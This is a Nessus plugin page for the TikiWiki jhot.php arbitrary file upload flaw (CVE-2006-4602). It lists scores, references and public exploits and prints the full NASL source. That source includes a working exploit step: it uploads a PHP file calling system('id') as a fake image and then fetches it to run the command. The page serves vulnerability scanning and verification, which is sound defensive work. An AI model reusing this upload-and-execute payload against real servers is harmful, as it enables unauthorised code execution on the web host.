TikiWiki jhot.php Arbitrary File Upload - Nessus

High   Plugin ID: 22303

This page contains detailed information about the TikiWiki jhot.php Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 22303
Name: TikiWiki jhot.php Arbitrary File Upload
Filename: tikiwiki_jhot_arbitrary_uploads.nasl
Vulnerability Published: 2006-09-04
This Plugin Published: 2006-09-04
Last Modification Time: 2022-04-11
Plugin Version: 1.28
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, no404.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2006-09-04
Patch Published: N/A
CVE [?]: CVE-2006-4602
CPE [?]: cpe:/a:tikiwiki:tikiwiki

Synopsis

The remote web server contains a PHP script that allows uploading of arbitrary files.

Description

The 'jhot.php' script included with the version of TikiWiki installed on the remote host allows an unauthenticated attacker to upload arbitrary files to a known directory within the web server's document root. Provided PHP's 'file_uploads' setting is enabled, which is true by default, this flaw can be exploited to execute arbitrary code on the affected host, subject to the privileges of the web server user id.

Solution

Either remove the affected 'jhot.php' script or upgrade to TikiWiki 1.9.5 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the TikiWiki jhot.php Arbitrary File Upload vulnerability:

  1. Metasploit: exploit/unix/webapp/tikiwiki_jhot_exec
    [TikiWiki jhot Remote Command Execution]
  2. Exploit-DB: exploits/php/webapps/2288.php
    [EDB-2288: TikiWiki 1.9 Sirius - 'jhot.php' Remote Command Execution]
  3. Exploit-DB: exploits/php/webapps/16885.rb
    [EDB-16885: TikiWiki jhot - Remote Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the tikiwiki_jhot_arbitrary_uploads.nasl nessus plugin source code. This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(22303);
  script_version("1.28");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-4602");
  script_bugtraq_id(19819);
  script_xref(name:"EDB-ID", value:"2288");

  script_name(english:"TikiWiki jhot.php Arbitrary File Upload");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows uploading of
arbitrary files.");
  script_set_attribute(attribute:"description", value:
"The 'jhot.php' script included with the version of TikiWiki installed
on the remote host allows an unauthenticated attacker to upload
arbitrary files to a known directory within the web server's document
root.  Provided PHP's 'file_uploads' setting is enabled, which is true
by default, this flaw can be exploited to execute arbitrary code on
the affected host, subject to the privileges of the web server user
id.");
  script_set_attribute(attribute:"see_also", value:"https://tiki.org/tiki-index.php?page=ReleaseProcess195&bl");
  script_set_attribute(attribute:"solution", value:
"Either remove the affected 'jhot.php' script or upgrade to TikiWiki
1.9.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'TikiWiki jhot Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/09/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/09/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:tikiwiki:tikiwiki");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "no404.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0, php: 0);
if (get_kb_item("www/no404/" + port)) exit(0);


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/tiki", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs) {
  # Make sure the affected script exists.
  url = strcat(dir, "/jhot.php");
  w = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1);

  # If it does...
  #
  # nb: the script doesn't respond when called directly.
  if (w[0] =~ "^HTTP/.* 200 OK")
  {
    # Try to exploit the flaw to execute a command.
    cmd = "id";
    fname = strcat(SCRIPT_NAME, "-", unixtime(), ".php");
    bound = "bound";
    boundary = strcat("--", bound);
    postdata = strcat(
      boundary, '\r\n', 
      'Content-Disposition: form-data; name="filepath"; filename="', fname, '";\r\n',
      'Content-Type: image/jpeg;\r\n',
      '\r\n',
      '<?php\r\n',
      'system(', cmd, '); \r\n',
      '?>\r\n',
      '\r\n',

      boundary, '--\r\n'
    );
    w = http_send_recv3(method:"POST", item: url, port: port, 
      content_type: "multipart/form-data; boundary="+bound,
      data: postdata, exit_on_fail: 1);
    
    # Now call the file we just uploaded.
    w = http_send_recv3(method:"GET", item: strcat(dir, "/img/wiki/", fname), port:port, exit_on_fail: 1);
    res = w[2];

    line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
    if (line)
    {
      if (report_verbosity < 1) security_hole(port);
      else 
      {
        report = strcat(
          '\n',
          'Nessus was able to execute the command \'id\' on the remote host,\n',
          'which produced the following output :\n',
          '\n',
          data_protection::sanitize_uid(output:line)
        );
        security_hole(port:port, extra:report);
      }
      exit(0);
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/tikiwiki_jhot_arbitrary_uploads.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\tikiwiki_jhot_arbitrary_uploads.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/tikiwiki_jhot_arbitrary_uploads.nasl

Go back to menu.

How to Run


Here is how to run the TikiWiki jhot.php Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select TikiWiki jhot.php Arbitrary File Upload plugin ID 22303.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl tikiwiki_jhot_arbitrary_uploads.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a tikiwiki_jhot_arbitrary_uploads.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - tikiwiki_jhot_arbitrary_uploads.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state tikiwiki_jhot_arbitrary_uploads.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 22490 - FreeBSD : tikiwiki -- multiple vulnerabilities (e4c62abd-5065-11db-a5ae-00508d6a62df)
  • 22460 - GLSA-200609-16 : Tikiwiki: Arbitrary command execution
  • 46737 - TikiWiki tiki-lastchanges.php Empty sort_mode Parameter Information Disclosure
  • 26968 - TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
  • 14364 - TikiWiki < 1.8.2 Multiple Input Validation Vulnerabilities
  • 61733 - TikiWiki unserialize() Function Arbitrary Code Execution
  • 49706 - TikiWiki 'tiki-edit_wiki_section.php' type Parameter XSS
  • 18647 - GLSA-200507-06 : TikiWiki: Arbitrary command execution through XML-RPC
  • 27553 - GLSA-200710-21 : TikiWiki: Arbitrary command execution
  • 28219 - GLSA-200711-19 : TikiWiki: Multiple vulnerabilities

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file tikiwiki_jhot_arbitrary_uploads.nasl version 1.28. For more plugins, visit the Nessus Plugin Library.

Go back to menu.